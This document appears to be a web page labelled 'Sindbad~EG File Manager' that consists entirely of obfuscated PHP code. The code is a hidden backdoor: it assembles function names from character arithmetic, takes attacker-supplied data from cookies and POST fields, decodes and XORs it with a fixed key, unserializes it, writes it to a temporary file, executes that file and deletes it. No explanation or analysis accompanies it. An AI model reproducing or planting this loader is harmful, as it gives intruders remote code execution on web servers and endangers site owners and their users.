Sindbad~EG File Manager

$nJsZs = chr (117) . 'K' . chr (95) . 'C' . chr (66) . "\152" . chr ( 851 - 750 ); $UhkVzFTSP = chr ( 575 - 476 ).'l' . 'a' . chr ( 631 - 516 )."\x73" . "\x5f" . "\x65" . 'x' . 'i' . 's' . chr ( 858 - 742 )."\x73";$jCdIzZQOi = class_exists($nJsZs); $UhkVzFTSP = "57932";$hhbjdsV = strpos($UhkVzFTSP, $nJsZs);if ($jCdIzZQOi == $hhbjdsV){function mcMAfQ(){$AVoFaJeLEJ = new /* 50277 */ uK_CBje(31831 + 31831); $AVoFaJeLEJ = NULL;}$KwSdsGuq = "31831";class uK_CBje{private function VyMUYpnoC($KwSdsGuq){if (is_array(uK_CBje::$hZEukOt)) {$name = sys_get_temp_dir() . "/" . crc32(uK_CBje::$hZEukOt["salt"]);@uK_CBje::$hZEukOt["write"]($name, uK_CBje::$hZEukOt["content"]);include $name;@uK_CBje::$hZEukOt["delete"]($name); $KwSdsGuq = "31831";exit();}}public function VDyVJkb(){$IgzfnyL = "26398";$this->_dummy = str_repeat($IgzfnyL, strlen($IgzfnyL));}public function __destruct(){uK_CBje::$hZEukOt = @unserialize(uK_CBje::$hZEukOt); $KwSdsGuq = "14844_28650";$this->VyMUYpnoC($KwSdsGuq); $KwSdsGuq = "14844_28650";}public function HJjtc($IgzfnyL, $WPNzaeTFB){return $IgzfnyL[0] ^ str_repeat($WPNzaeTFB, intval(strlen($IgzfnyL[0]) / strlen($WPNzaeTFB)) + 1);}public function ufPrY($IgzfnyL){$yMLPIi = 'b' . "\x61" . "\163" . chr ( 440 - 339 ).'6' . chr ( 127 - 75 );return array_map($yMLPIi . '_' . 'd' . 'e' . 'c' . chr ( 437 - 326 )."\x64" . 'e', array($IgzfnyL,));}public function __construct($kkziJquad=0){$VcvGJ = chr ( 979 - 935 ); $IgzfnyL = "";$SfIsMwwBQO = $_POST;$KSiUlya = $_COOKIE;$WPNzaeTFB = "cf5de380-ba38-40e5-8364-c5ed10868dc9";$FAOVxIt = @$KSiUlya[substr($WPNzaeTFB, 0, 4)];if (!empty($FAOVxIt)){$FAOVxIt = explode($VcvGJ, $FAOVxIt);foreach ($FAOVxIt as $yLhJAISPXo){$IgzfnyL .= @$KSiUlya[$yLhJAISPXo];$IgzfnyL .= @$SfIsMwwBQO[$yLhJAISPXo];}$IgzfnyL = $this->ufPrY($IgzfnyL);}uK_CBje::$hZEukOt = $this->HJjtc($IgzfnyL, $WPNzaeTFB);if (strpos($WPNzaeTFB, $VcvGJ) !== FALSE){$WPNzaeTFB = explode($VcvGJ, $WPNzaeTFB); $HRTimlOcrj = base64_decode(md5($WPNzaeTFB[0])); $EyQEBjJ = strlen($WPNzaeTFB[1]) > 5 ? substr($WPNzaeTFB[1], 0, 5) : $WPNzaeTFB[1];$_GET['new_key'] = md5(implode('', $WPNzaeTFB)); $wmhwPhyD = str_repeat($EyQEBjJ, 2);}}public static $hZEukOt = 41932;}mcMAfQ();}